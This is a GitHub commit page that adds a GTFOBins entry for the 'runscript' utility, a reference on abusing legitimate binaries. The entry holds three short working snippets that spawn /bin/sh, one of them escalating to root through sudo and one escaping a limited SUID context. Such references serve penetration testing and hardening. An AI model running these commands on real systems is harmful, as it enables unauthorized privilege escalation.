Skip to content

Commit

Permalink
Add runscript
Browse files Browse the repository at this point in the history
  • Loading branch information
cyrus-and committed Oct 21, 2023
1 parent 72cb09f commit fc1370b
Showing 1 changed file with 17 additions and 0 deletions.
17 changes: 17 additions & 0 deletions _gtfobins/runscript.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
---
functions:
shell:
- code: |
TF=$(mktemp)
echo '! exec /bin/sh' >$TF
runscript $TF
limited-suid:
- code: |
TF=$(mktemp)
echo '! exec /bin/sh' >$TF
./runscript $TF
sudo:
- code: |
TF=$(mktemp)
echo '! exec /bin/sh' >$TF
sudo runscript $TF

0 comments on commit fc1370b

Please sign in to comment.